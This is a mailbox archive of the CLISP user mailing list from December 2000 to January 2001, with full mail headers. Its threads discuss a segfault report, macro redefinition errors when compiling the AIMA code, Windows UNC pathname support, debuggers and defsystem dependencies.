Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3A3C7D7D.ECF80B47@163.net> > * On the subject of "Re: [clisp-list] Q: what causes sigsegv" > * Sent on Sun, 17 Dec 2000 16:46:53 +0800 > * Honorable bruce writes: > > I'm using clisp-2000-03-06 on Linux/i686. > > In order to produce such a bug report, I need detailed help. you need to tell us how to reproduce your crash. I.e., you will have to send us the transcript of the entire session. E.g., like this: $ clisp -q > (load "crash.lisp") segmentation fault $ and then send us the file "crash.lisp". please try to make the file as small as possible. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS DOS: Keyboard not found. Press F1 to continue. From bruce253@163.net Thu Dec 21 05:15:54 2000 Received: from ns2.gdufs.edu.cn ([202.116.192.38] helo=proxy) by usw-sf-list1.sourceforge.net with smtp (Exim 3.16 #1 (Debian)) id 1495ZU-0008M7-00 for ; Thu, 21 Dec 2000 05:15:52 -0800 Received: from 163.net by proxy (SMI-8.6/SMI-SVR4) id VAA07672; Thu, 21 Dec 2000 21:12:16 -0500 Message-ID: <3A42021C.DBE77AAB@163.net> Date: Thu, 21 Dec 2000 21:14:04 +0800 From: bruce X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Q: what causes sigsegv References: <3A3C20E6.3842D74F@163.net> <3A3C7D7D.ECF80B47@163.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > * In message <3A3C7D7D.ECF80B47@163.net> > > * On the subject of "Re: [clisp-list] Q: what causes sigsegv" > > * Sent on Sun, 17 Dec 2000 16:46:53 +0800 > > * Honorable bruce writes: > > > > I'm using clisp-2000-03-06 on Linux/i686. > > > > In order to produce such a bug report, I need detailed help. > > you need to tell us how to reproduce your crash. > I.e., you will have to send us the transcript of the entire session. > E.g., like this: > > $ clisp -q > > > (load "crash.lisp") > > segmentation fault > $ I came across `sigsegv' twice before reporting to the list, but I cannot reproduce it now. One reason is that my program is data-intensive and it takes too much time for a run. The power was down before the run could be completed and before another `sigsegv' occurred. Another thing is that the clisp process died quietly when I started Star Office 5.2. Star Office took quite a lot of memory at startup, I must say. GC is quite frequent when my program is running. How can one control when GC occurs? Perhaps when there are enough memory, clisp does not have to do frequent GC. Best! shouxun From amoroso@mclink.it Fri Dec 22 02:13:19 2000 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 149PCQ-0004rV-00 for ; Fri, 22 Dec 2000 02:13:19 -0800 Received: from net145-034.mclink.it (net145-034.mclink.it [195.110.145.34]) by mail.mclink.it (8.9.3/8.9.0) with SMTP id LAA00923 for ; Fri, 22 Dec 2000 11:13:11 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Date: Fri, 22 Dec 2000 11:12:19 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] AIMA Code compilation problem (WITH-SIMPLE-RESTART redefinition) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have a compilation problem with the source code of the book "Artificial Intelligence - A Modern Approach" by Norvig and Russel (0.95 AIMA Code, Patriots Day Version, 21-Apr-1997). I use CLISP 2000-03-06 (March 2000) under Red Hat Linux 6.2. After customizing aima.lisp as explained in the documentation, I load it and start compilation: [7]> (load "aima.lisp") ;; Loading file aima.lisp ... ;; Loading file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp ... ;; Loading of file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp is finished. [...] ;; Loading file /home/paolo/Lisp/common-lisp/code/aima/utilities/test-utilities.lisp ... ;; Loading of file /home/paolo/Lisp/common-lisp/code/aima/utilities/test-utilities.lisp is finished. ;; Loading of file aima.lisp is finished. T [8]> (aima-compile) Compiling file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp ... Compilation of file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp is finished. 0 errors, 0 warnings ;; Loading file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.fas ... ;; Loading of file /home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.fas is finished. [...] Compiling file /home/paolo/Lisp/common-lisp/code/aima/utilities/cltl2.lisp ... ** - Continuable Error Redefining the COMMON LISP macro WITH-SIMPLE-RESTART If you continue (by typing 'continue'): The old definition will be lost 1. Break [9]> The code that triggers the error is in utilities/cltl2.lisp and is intended for old Lisp systems, i.e. pre-CLtL2: (define-if-undefined (defmacro with-simple-restart (restart &rest body) "Like PROGN, except provides control over restarts if there is an error." (declare (ignore restart)) `(progn ,@body)) (defmacro destructuring-bind ... ) ) ; end define-if-undefined The DEFINE-IF-UNDEFINED macro is defined in utilities/utilities.lisp: (defmacro define-if-undefined (&rest definitions) "Use this to conditionally define functions, variables, or macros that may or may not be pre-defined in this Lisp. This can be used to provide CLtL2 compatibility for older Lisps." `(progn ,@(mapcar #'(lambda (def) (let ((name (second def))) `(when (not (or (boundp ',name) (fboundp ',name) (special-form-p ',name) (macro-function ',name))) ,def))) definitions))) I am perplexed because CLISP does have WITH-SIMPLE-RESTART, so the test in the WHEN form should evaluate to NIL--and indeed it does if evaluated at the listener. Any suggestions? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From haible@ilog.fr Fri Dec 22 13:30:41 2000 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 149Zlx-00059w-00 for ; Fri, 22 Dec 2000 13:30:41 -0800 Received: from sceaux.ilog.fr ([193.55.64.10]) by mail2.valinux.com with esmtp (Exim 3.16 #1 (Debian)) id 149X3G-0005Fv-00 for ; Fri, 22 Dec 2000 10:36:22 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA16927; Fri, 22 Dec 2000 19:26:46 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.49]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA26847; Fri, 22 Dec 2000 19:31:07 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id TAA10843; Fri, 22 Dec 2000 19:31:13 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14915.40424.579436.261541@honolulu.ilog.fr> Date: Fri, 22 Dec 2000 19:31:04 +0100 (CET) To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: AIMA Code compilation problem (WITH-SIMPLE-RESTART redefinition) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Paolo Amoroso writes: > I have a compilation problem with the source code of the book "Artificial > Intelligence - A Modern Approach" by Norvig and Russel (0.95 AIMA Code, > Patriots Day Version, 21-Apr-1997). I use CLISP 2000-03-06 (March 2000) > under Red Hat Linux 6.2. > The code that triggers the error is in utilities/cltl2.lisp and is intended > for old Lisp systems, i.e. pre-CLtL2: > > (define-if-undefined > > (defmacro with-simple-restart (restart &rest body) > "Like PROGN, except provides control over restarts if there is an error." > (declare (ignore restart)) > `(progn ,@body)) > > (defmacro destructuring-bind ... ) > > ) ; end define-if-undefined > > The DEFINE-IF-UNDEFINED macro is defined in utilities/utilities.lisp: > > (defmacro define-if-undefined (&rest definitions) > "Use this to conditionally define functions, variables, or macros that > may or may not be pre-defined in this Lisp. This can be used to provide > CLtL2 compatibility for older Lisps." > `(progn > ,@(mapcar #'(lambda (def) > (let ((name (second def))) > `(when (not (or (boundp ',name) (fboundp ',name) > (special-form-p ',name) > (macro-function ',name))) > ,def))) > definitions))) > > I am perplexed because CLISP does have WITH-SIMPLE-RESTART, so the test in > the WHEN form should evaluate to NIL--and indeed it does if evaluated at > the listener. Any suggestions? This relates to the ANSI CL issue "DEFINING-MACROS-NON-TOP-LEVEL:ALLOW", and both the code above and CLISP's compiler don't conform to CLHS. CLHS says about DEFMACRO: If a defmacro form appears as a top level form, the compiler must store the macro definition at compile time, so that occurrences of the macro later on in the file can be expanded correctly. Users must ensure that the body of the macro can be evaluated at compile time if it is referenced within the file being compiled. This means that in code like the above (when (not (or (boundp 'with-simple-restart) ...)) (defmacro with-simple-restart ...) ) the 'defmacro' form is not at top level and therefore will have no effect during compile-file. That's why I consider the code above broken. But CLISP is broken as well: It must not evaluate the (not (or (boundp 'with-simple-restart) ...)) condition at compile-time. According to ANSI CL, it should produce code for the defmacro form, but otherwise during the compilation behave as if the form wasn't there. That's not what CLISP does. CLISP chooses to always evaluate the form, because that copes better with old CLtL1 programs that do things like (if (not (find-package ...)) (defpackage ...) ; or even worse: (make-package ...) ) It's related to EVAL-WHEN, arguably the darkest spot of the CL specification. Bruno From gko@gko.net Mon Jan 01 20:41:47 2001 Received: from 76.c138.ethome.net.tw ([202.178.138.76] helo=symbiose.dnsalias.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14DJGa-0006km-00 for ; Mon, 01 Jan 2001 20:41:45 -0800 Received: (from gko@localhost) by symbiose.dnsalias.net (8.9.3/8.9.3) id MAA11811; Tue, 2 Jan 2001 12:40:21 +0800 X-Authentication-Warning: symbiose.dnsalias.net: gko set sender to gko@gko.net using -f To: clisp-list@lists.sourceforge.net Organization: Entropie Content-Type: text/plain; charset="iso-8859-1" Mail-Copies-To: gko@gko.net From: Georges KO Date: 02 Jan 2001 12:40:21 +0800 Message-ID: Lines: 9 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/20.7 MIME-Version: 1.0 Subject: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, Will there be support for namestrings such as above? Thanks. -- Georges KO (Taipei, Taiwan) 2001-01-02 gko@gko.net / ICQ: 8719684 Day 2 of week 1 of 2001 From sds@gnu.org Tue Jan 02 14:30:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14DZwc-0000fQ-00 for ; Tue, 02 Jan 2001 14:30:14 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA06147; Tue, 2 Jan 2001 17:30:04 -0500 (EST) X-Envelope-To: To: Georges KO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Georges KO's message of "02 Jan 2001 12:40:21 +0800" User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 Date: 02 Jan 2001 17:27:23 -0500 Message-ID: Lines: 43 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > * Sent on 02 Jan 2001 12:40:21 +0800 > * Honorable Georges KO writes: > > Will there be support for namestrings such as above? http://clisp.sourceforge.net/impnotes.html#filenames says that the `host' component of a pathname is always nil - Bruno, how important is this requirement for you? (pathname.d seems not to assume this, but it always wants to concat them as host:/path/ -- BTW, much as I hate windows, //host/path makes more sense than host:/path since ":" is a valid filename char while zero length filenames are not allowed, so the windows way is less ambiguous) since win32 CreateFile can take strings like \\host\dir\name.ext, it makes sense to modify `parse-namestring' and `namestring' to handle such strings properly: now: (parse-namestring "\\\\host\\dir\\name.ext") ==> #S(pathname :host nil :device nil :directory (:absolute "" "host" "dir") :name "name" :type "ext" :version nil) should be: #S(pathname :host "host" :device nil :directory (:absolute "dir") :name "name" :type "ext" :version nil) unfortunately, something deep is amiss there: (let ((a "\\\\host\\dir\\name.ext")) (string= a (namestring (parse-namestring a)))) ==> T so obviously some other change is necessary too. (it appears that the default device gets in the way - I don't have time to investigate further right now, I hope Bruno will tell you more...) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If You Want Breakfast In Bed, Sleep In the Kitchen. From haible@ilog.fr Wed Jan 03 06:00:16 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14DoSd-00079C-00 for ; Wed, 03 Jan 2001 06:00:15 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA01112 for ; Wed, 3 Jan 2001 14:55:42 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.189]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA19495; Wed, 3 Jan 2001 15:00:07 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA06233; Wed, 3 Jan 2001 14:59:37 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14931.12352.754483.923017@honolulu.ilog.fr> Date: Wed, 3 Jan 2001 14:59:28 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Georges KO asked: > Will there be support for namestrings such as above? Sam Steingold: > http://clisp.sourceforge.net/impnotes.html#filenames says that the > `host' component of a pathname is always nil - Bruno, how important is > this requirement for you? This is not a requirement; it's a description of what the implementation currently does. And it does it because Georges Ko is the first one who realized that it could be useful. (At the time I did the Win32 port, this \\hostname\subdir\filename.type syntax wasn't frequently used.) Bruno From gko@gko.net Fri Jan 05 20:19:59 2001 Received: from 76.c138.ethome.net.tw ([202.178.138.76] helo=symbiose.dnsalias.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Ekpg-0004Qg-00 for ; Fri, 05 Jan 2001 20:19:57 -0800 Received: (from gko@localhost) by symbiose.dnsalias.net (8.9.3/8.9.3) id MAA23906; Sat, 6 Jan 2001 12:18:23 +0800 X-Authentication-Warning: symbiose.dnsalias.net: gko set sender to gko@gko.net using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> Organization: Entropie Content-Type: text/plain; charset="iso-8859-1" Mail-Copies-To: gko@gko.net From: Georges KO Date: 06 Jan 2001 12:18:23 +0800 In-Reply-To: <14931.12352.754483.923017@honolulu.ilog.fr> Message-ID: Lines: 16 User-Agent: Gnus/5.090001 (Oort Gnus v0.01) Emacs/20.7 MIME-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Bruno Haible writes: > This is not a requirement; it's a description of what the > implementation currently does. And it does it because Georges Ko is > the first one who realized that it could be useful. (At the time I > did the Win32 port, this \\hostname\subdir\filename.type syntax wasn't > frequently used.) Well, it would be nice if this kind of namestrings was implemented, as I need to do things such as probe-file, load, open, etc. on a set of Windows machines. Georges. -- Georges KO (Taipei, Taiwan) 2001-01-06 gko@gko.net / ICQ: 8719684 Jour 6 de la semaine 1 de l'an 2001 From sds@gnu.org Sat Jan 06 20:40:36 2001 Received: from chmls06.mediaone.net ([24.147.1.144]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14F7dD-0001qt-00 for ; Sat, 06 Jan 2001 20:40:36 -0800 Received: from xchange.com (dub.ne.mediaone.net [24.218.12.116]) by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id XAA13409; Sat, 6 Jan 2001 23:40:43 -0500 (EST) To: Georges KO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings? References: <14931.12352.754483.923017@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Georges KO's message of "06 Jan 2001 12:18:23 +0800" User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 Date: 06 Jan 2001 23:38:26 -0500 Message-ID: Lines: 23 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?" > * Sent on 06 Jan 2001 12:18:23 +0800 > * Honorable Georges KO writes: > > Bruno Haible writes: > > > (At the time I did the Win32 port, this > > \\hostname\subdir\filename.type syntax wasn't frequently used.) > > Well, it would be nice if this kind of namestrings was > implemented, as I need to do things such as probe-file, load, open, > etc. on a set of Windows machines. done - see the current CVS or the snapshots on cellar.goems.com (it will be up for some time, but not for long, I hope to move the snapshots infrastructure either to sourceforge or to cons.org). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never trust a man who can count to 1024 on his fingers. From Randy.Justice@cnet.navy.mil Mon Jan 08 05:01:26 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14FbvS-0005NJ-00 for ; Mon, 08 Jan 2001 05:01:26 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA19730 for ; Mon, 8 Jan 2001 07:01:29 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Mon, 8 Jan 2001 07:06:21 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Mon, 8 Jan 2001 07:06:19 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C07973.CB0699C2" Subject: [clisp-list] Debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C07973.CB0699C2 Content-Type: text/plain; charset="iso-8859-1" Is there a debugger that works with CLISP environment? Randy ------_=_NextPart_001_01C07973.CB0699C2 Content-Type: text/html; charset="iso-8859-1" Debugger

Is there a debugger that works with CLISP environment?

Randy

------_=_NextPart_001_01C07973.CB0699C2-- From sds@gnu.org Mon Jan 08 07:08:46 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Fduf-000055-00 for ; Mon, 08 Jan 2001 07:08:45 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA27044; Mon, 8 Jan 2001 10:08:57 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Debugger References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: "Justice, Randy -CONT"'s message of "Mon, 8 Jan 2001 07:06:19 -0600" Date: 08 Jan 2001 10:06:17 -0500 Message-ID: Lines: 16 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Debugger" > * Sent on Mon, 8 Jan 2001 07:06:19 -0600 > * Honorable "Justice, Randy -CONT" writes: > > Is there a debugger that works with CLISP environment? in addition to the built-in CLISP debugger (http://clisp.sourceforge.net/impnotes.html#debugger) there is a GUI http://bewoner.dma.be/marclisp/intro.html -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Yeah, yeah, I love cats too... wanna trade recipes? From sds@gnu.org Mon Jan 08 11:38:51 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Fi82-0007MG-00 for ; Mon, 08 Jan 2001 11:38:51 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA24410 for ; Mon, 8 Jan 2001 14:38:58 -0500 (EST) X-Envelope-To: To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 08 Jan 2001 14:36:09 -0500 Message-ID: Lines: 16 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] defsystem: a system which depends on another system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Suppose I have a system which depends on some files in another system. is there a way to specify this in *.system? I mean, is there an easier alternative to $ cd sys1 $ make system $ cd ../sys2 $ make system etc? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Do not worry about which side your bread is buttered on: you eat BOTH sides. From toy@rtp.ericsson.se Mon Jan 08 12:06:52 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14FiZA-0001vp-00 for ; Mon, 08 Jan 2001 12:06:52 -0800 Received: from mr4u3.ericy.com (mr4u3.ericy.com [208.237.135.127]) by imr1.ericy.com (8.10.2/8.10.2) with ESMTP id f08K75K02305 for ; Mon, 8 Jan 2001 14:07:06 -0600 (CST) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.133.252]) by mr4u3.ericy.com (8.10.2/8.10.2) with ESMTP id f08K75309880 for ; Mon, 8 Jan 2001 14:07:05 -0600 (CST) Received: from edgedsp4.ericsson.COM (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id PAA11136 for ; Mon, 8 Jan 2001 15:07:05 -0500 (EST) Received: (from toy@localhost) by edgedsp4.ericsson.COM (8.9.1b+Sun/8.9.1) id PAA07237; Mon, 8 Jan 2001 15:07:12 -0500 (EST) X-Authentication-Warning: edgedsp4.ericsson.COM: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@sourceforge.net Subject: Re: [clisp-list] defsystem: a system which depends on another system References: From: Raymond Toy Date: 08 Jan 2001 15:07:12 -0500 In-Reply-To: Sam Steingold's message of "08 Jan 2001 14:36:09 -0500" Message-ID: <4nvgrperkf.fsf@rtp.ericsson.se> Lines: 25 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Millennium) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: Sam> Suppose I have a system which depends on some files in another system. Sam> is there a way to specify this in *.system? Sam> I mean, is there an easier alternative to Sam> $ cd sys1 Sam> $ make system Sam> $ cd ../sys2 Sam> $ make system Sam> etc? The docs for defsystem says you can make systems depend on other systems. (defsystem sys2 (:depends-on "sys1") ...) or something like that. Never really tried it though. Ray From sds@gnu.org Mon Jan 08 13:14:45 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Fjcr-0006mI-00 for ; Mon, 08 Jan 2001 13:14:45 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA15026; Mon, 8 Jan 2001 16:14:58 -0500 (EST) X-Envelope-To: To: Raymond Toy Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] defsystem: a system which depends on another system References: <4nvgrperkf.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Raymond Toy's message of "08 Jan 2001 15:07:12 -0500" Date: 08 Jan 2001 16:12:04 -0500 Message-ID: Lines: 41 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <4nvgrperkf.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] defsystem: a system which depends on another system" > * Sent on 08 Jan 2001 15:07:12 -0500 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> Suppose I have a system which depends on some files in another system. > Sam> is there a way to specify this in *.system? > Sam> I mean, is there an easier alternative to > > Sam> $ cd sys1 > Sam> $ make system > Sam> $ cd ../sys2 > Sam> $ make system > > Sam> etc? > > The docs for defsystem says you can make systems depend on other > systems. > > (defsystem sys2 > (:depends-on "sys1") > ...) > > or something like that. yeah - I tried that already: it cannot find the "sys1" dependency even though I load sys1.system within sys2.system! > Never really tried it though. it shows :-) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't have an attitude problem. You have a perception problem. From marcoxa@cs.nyu.edu Mon Jan 08 14:27:31 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14FklH-0006Kz-00 for ; Mon, 08 Jan 2001 14:27:31 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id RAA02064; 